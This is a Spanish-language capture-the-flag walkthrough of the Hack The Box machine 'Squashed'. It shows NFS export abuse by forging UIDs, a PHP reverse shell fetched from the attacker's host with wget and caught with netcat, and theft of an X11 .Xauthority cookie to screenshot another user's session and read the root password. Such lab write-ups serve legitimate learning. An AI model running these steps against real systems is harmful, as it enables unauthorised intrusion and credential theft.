Squashed

Hoy vamos a resolver una máquina nueva easy de Hack The Box, donde veremos nuevos métodos de explotación y una escalada de privilegios muy distinta, así que vamos a ponernos manos a la obra.

Reconocimiento de Puertos

En este caso, nos conectamos a la VPN y definimos la IP en una variable para que sea más cómodo trabajar con ella. Ahora realizamos el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso tan rutinario:

ip=10.10.11.191
❯ ./nmapauto.sh $ip

 [*] Reconocimiento inicial de puertos

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:11 CET
Initiating Ping Scan at 19:11
Scanning 10.10.11.191 [2 ports]
Completed Ping Scan at 19:11, 0.05s elapsed (1 total hosts)
Initiating Connect Scan at 19:11
Scanning 10.10.11.191 [65535 ports]
Discovered open port 22/tcp on 10.10.11.191
Discovered open port 80/tcp on 10.10.11.191
Discovered open port 111/tcp on 10.10.11.191
Discovered open port 39395/tcp on 10.10.11.191
Discovered open port 42469/tcp on 10.10.11.191
Discovered open port 55669/tcp on 10.10.11.191
Discovered open port 46749/tcp on 10.10.11.191
Completed Connect Scan at 19:12, 19.79s elapsed (65535 total ports)
Nmap scan report for 10.10.11.191
Host is up (0.046s latency).
Not shown: 64085 closed tcp ports (conn-refused), 1443 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
39395/tcp open  unknown
42469/tcp open  unknown
46749/tcp open  unknown
55669/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.94 seconds

 [*] Escaneo avanzado de servicios

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-28 19:12 CET
Nmap scan report for 10.10.11.191
Host is up (0.046s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      36139/udp6  mountd
|   100005  1,2,3      41195/tcp6  mountd
|   100005  1,2,3      52390/udp   mountd
|   100005  1,2,3      55669/tcp   mountd
|   100021  1,3,4      42469/tcp   nlockmgr
|   100021  1,3,4      44531/udp   nlockmgr
|   100021  1,3,4      45421/tcp6  nlockmgr
|   100021  1,3,4      53879/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
39395/tcp open  mountd   1-3 (RPC #100005)
42469/tcp open  nlockmgr 1-4 (RPC #100021)
46749/tcp open  mountd   1-3 (RPC #100005)
55669/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos

Tenemos SSH, HTTP y RPC. Vamos a ver qué podemos obtener a través de HTTP, y si eso ya pasamos al siguiente, donde parece que ha detectado montajes.

Puerto 80: HTTP

Vamos a realizar un primer reconocimiento:

❯ whatweb $ip
http://10.10.11.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0], Script, Title[Built Better], X-UA-Compatible[IE=edge]

Si la vemos a través del navegador, parece ser un template por defecto, los enlaces no funcionan. Por tanto vamos a realizar fuzzing a ver si encontramos algo:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php -u $ip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.191
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/11/28 19:17:16 Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.191/css/]
/images               (Status: 301) [Size: 313] [--> http://10.10.11.191/images/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.191/js/]    
/server-status        (Status: 403) [Size: 277]  
                                                                                 
===============================================================
2022/11/28 19:20:03 Finished
===============================================================

No sacamos nada, así que vamos a seguir mirando otras opciones:

Puerto 111: RCP (2049 NFS)

NFS o Network File System es un protocolo que permite acceso remoto a un sistema de archivos a través de la red (como Samba). Vamos a enumerar los recursos:

❯ showmount -e $ip
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

Como hemos encontrado información, vamos a proceder a montarla en nuestro equipo atacante:

sudo mkdir /mnt/ross
❯ sudo mkdir /mnt/html
❯ sudo mount $ip:/home/ross /mnt/ross
❯ sudo mount $ip:/var/www/html /mnt/html

Ahora veamos qué nos encontramos:

ls -l /mnt/html
ls: no se puede acceder a '/mnt/html/index.html': Permiso denegado
ls: no se puede acceder a '/mnt/html/images': Permiso denegado
ls: no se puede acceder a '/mnt/html/css': Permiso denegado
ls: no se puede acceder a '/mnt/html/js': Permiso denegado
total 0
?????????? ? ? ? ?            ? css
?????????? ? ? ? ?            ? images
?????????? ? ? ? ?            ? index.html
?????????? ? ? ? ?            ? js
❯ ls -l /mnt/ross
total 32
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Desktop
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Documents
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Downloads
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Music
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Pictures
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Public
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Templates
drwxr-xr-x 2 test scanner 4096 oct 21 16:57 Videos

En /mnt/html no tenemos permisos, pero en /mnt/ross al menos el principal nos lo lista, veamos qué ficheros existen:

❯ tree -a /mnt/ross
/mnt/ross
├── .bash_history -> /dev/null
├── .cache [error opening dir]
├── .config [error opening dir]
├── Desktop
├── Documents
│   └── Passwords.kdbx
├── Downloads
├── .gnupg [error opening dir]
├── .local [error opening dir]
├── Music
├── Pictures
├── Public
├── Templates
├── Videos
├── .viminfo -> /dev/null
├── .Xauthority
├── .xsession-errors
└── .xsession-errors.old

12 directories, 6 files

En Documents existe un fichero llamado Passwords.kdbx, que aparentemente es un almacén de contraseñas de KeePassX. Vamos a intentar romperlo con John, pero antes tenemos que extraer el hash:

❯ sudo python3 ~/scripts/keepass2john.py /mnt/ross/Documents/Passwords.kdbx > hash
[sudo] password for kaian: 
  File "/home/kaian/scripts/keepass2john.py", line 33
    print "Unsupported file encryption!"
          ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("Unsupported file encryption!")?

En este punto, no parece haber otra alternativa y parece que es una pista falsa.

Por tanto, vamos a retomar e investigar /mnt/html para ver si de alguna forma podemos ver la información que contiene:

Explotación

ls -ld /mnt/html
drwxr-xr-- 5 2017 www-data 4096 nov 29 00:45 /mnt/html

¿Estás pensando lo mismo? A mí se me ocurre crear un usuario con ese UID, vamos a ello:

sudo useradd -u 2017 test

Y también le asignamos una contraseña para poder acceder con él:

sudo passwd test

Solo nos queda loguearnos y ver si ya podemos acceder:

❯ su test
Contraseña: 
┌─[test@parrot]─[/home/kaian/]
└──╼ $ls -la /mnt/html
total 52
drwxr-xr-- 5 test www-data  4096 nov 29 00:55 .
drwxr-xr-x 1 root root        16 nov 26 20:32 ..
drwxr-xr-x 2 test www-data  4096 nov 29 00:55 css
-rw-r--r-- 1 test www-data    44 oct 21 12:30 .htaccess
drwxr-xr-x 2 test www-data  4096 nov 29 00:55 images
-rw-r----- 1 test www-data 32532 nov 29 00:55 index.html
drwxr-xr-x 2 test www-data  4096 nov 29 00:55 js

Bien, ya podemos ver el contenido y… lo más importante, escribir. Por tanto, lo que vamos a hacer es copiar una reverse shell (usaremos como siempre la de pentestmonkey) a ese directorio:

De esta forma, creamos un servidor en Python python3 -m http.server y la subimos:

┌─[test@parrot]─[/home/kaian/HTB]
└──╼ $cd /mnt/html
┌─[test@parrot]─[/mnt/html]
└──╼ $wget 10.10.14.106:8000/rsHTB.php
--2022-11-29 01:17:48--  http://10.10.14.106:8000/rsHTB.php
Conectando con 10.10.14.106:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 5494 (5,4K) [application/octet-stream]
Grabando a: «rsHTB.php»

rsHTB.php              100%[============================>]   5,37K  --.-KB/s    en 0s      

2022-11-29 01:17:49 (535 MB/s) - «rsHTB.php» guardado [5494/5494]

Ahora nos ponemos en escucha con Netcat para recibir la shell y la invocamos desde el navegador http://10.10.11.191/rsHTB.php:

❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.106] from (UNKNOWN) [10.10.11.191] 48692
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 00:21:36 up 1 day,  1:01,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               Sun23   25:01m  2:21   0.05s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off

Como estamos en un laboratorio online, es imprescindible hacer un buen tratamiento de la TTY para no perderla y tener que repetir todo el proceso (me pasó):

script /dev/null -c bash

(Pulsar Ctrl+z) Para poner en 2º plano

stty raw -echo; fg 
        reset
    terminal type? xterm
alex@squashed:/$ export TERM=xterm
alex@squashed:/$ export SHELL=bash
alex@squashed:/$ whoami
alex

Pues ya estamos dentro con una terminal interactiva en la que podemos hacer ctrl+c sin miedo a perderla.

alex@squashed:/$ cd /home
alex@squashed:/home$ ls
alex  ross
alex@squashed:/home$ cd alex
alex@squashed:/home/alex$ ls
Desktop    Downloads  Pictures  Templates  snap   user.txt
Documents  Music      Public  Videos    socat
alex@squashed:/home/alex$ cat user.txt

Tenemos la flag de user, vamos a por la de root.

Escalada de privilegios

Como el usuario alex poco podemos hacer, revisamos el contenido de ross a ver qué encontramos:

alex@squashed:/home/alex$ ls -la ../ross
total 68
drwxr-xr-x 14 ross ross 4096 Nov 27 23:20 .
drwxr-xr-x  4 root root 4096 Oct 21 14:57 ..
-rw-------  1 ross ross   57 Nov 27 23:20 .Xauthority
lrwxrwxrwx  1 root root    9 Oct 20 13:24 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21 14:57 .cache
drwx------ 12 ross ross 4096 Oct 21 14:57 .config
drwx------  3 ross ross 4096 Oct 21 14:57 .gnupg
drwx------  3 ross ross 4096 Oct 21 14:57 .local
lrwxrwxrwx  1 root root    9 Oct 21 13:07 .viminfo -> /dev/null
-rw-------  1 ross ross 2475 Nov 27 23:20 .xsession-errors
-rw-------  1 ross ross 2475 Oct 31 10:13 .xsession-errors.old
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Desktop
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Documents
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Downloads
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Music
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Pictures
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Public
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Templates
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Videos

Bien, la idea en este caso va a ser secuestrar la pantalla de ross. Me explico, la clave está en el fichero .Xauthority que hemos localizado, y que para nuestra desgracia no tenemos ningún permiso (no iba a ser tan fácil).

Este fichero se encuentra en el directorio principal de cada usuario y se usa para almacenar credenciales en las cookies utilizadas por xauth para la autenticación de XServer. De esta forma, si secuestramos este archivo, podremos autenticarnos en Xserver y ver la pantalla de ese usuario en tiempo real.

alex@squashed:/home/alex$ who -Hu
NAME     LINE         TIME         IDLE          PID COMMENT
ross     tty7         Nov 27 23:20  old         1287 (:0)

Aquí podemos ver que ross está conectado en la pantalla 1 (:0) y parece que se olvidó de cerrar la sesión debido a su inactividad… así que vamos a aprovecharnos de su ausencia 😉.

En primer lugar, igual que antes, vamos a cambiar el UID del usuario que creamos para que pueda acceder a la carpeta que tenemos montada en /mnt/ross:

ls -lnd /mnt/ross
drwxr-xr-x 14 1001 1001 4096 nov 28 00:20 /mnt/ross
❯ sudo usermod -u 1001 test

Ahora crearemos el servidor Python en /mnt/ross y lo pasaremos a /home/alex con wget:

❯ su test
Contraseña: 
┌─[test@parrot]─[/home/kaian]
└──╼ $cd /mnt/ross
┌─[test@parrot]─[/mnt/ross]
└──╼ $python3 -m http.server
alex@squashed:/home/alex$ wget 10.10.14.106:8000/.Xauthority
--2022-11-29 01:34:05--  http://10.10.14.106:8000/.Xauthority
Connecting to 10.10.14.106:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [application/octet-stream]
Saving to: '.Xauthority.1'

.Xauthority.1       100%[===================>]      57  --.-KB/s    in 0.05s   

2022-11-29 01:34:05 (1.15 KB/s) - '.Xauthority.1' saved [57/57]

Ahora nos apoderamos de la cookie, acto seguido le sacamos una captura a la pantalla de ross y creamos servidor Python para transferirla a la máquina atacante:

alex@squashed:/home/alex$ export XAUTHORITY=.Xauthority.1 
alex@squashed:/home/alex$ xwd -root -screen -silent -display :0 > captura 
alex@squashed:/home/alex$ python3 -m http.server 3456

Ahora solo nos queda recogerla y abrirla en local ya:

❯ wget 10.10.11.191:3456/captura
--2022-11-29 02:54:18--  http://10.10.11.191:3456/captura
Conectando con 10.10.11.191:3456... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1923179 (1,8M) [application/octet-stream]
Grabando a: «captura»

captura                100%[============================>]   1,83M  2,21MB/s    en 0,8s    

2022-11-29 02:54:19 (2,21 MB/s) - «captura» guardado [1923179/1923179]
❯ xwud -in captura

Ya tenemos la contraseña de root, así que vamos a conectarnos por SSH:

❯ ssh root@$ip
root@10.10.11.191's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 29 Nov 2022 02:11:29 AM UTC

  System load:  0.0               Processes:               255
  Usage of /:   75.5% of 5.79GB   Users logged in:         1
  Memory usage: 36%               IPv4 address for ens160: 10.10.11.191
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Nov 28 13:08:22 2022 from 10.10.14.117
root@squashed:~# ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  root.txt  scripts  snap
root@squashed:~# cat root.txt

Y con esto llegamos al final de la máquina.

La primera vez me pareció bastante confusa, y aunque poco realista, me ha parecido interesante por las técnicas utilizadas y las cosas nuevas que hemos aprendido. Nos vemos en la siguiente.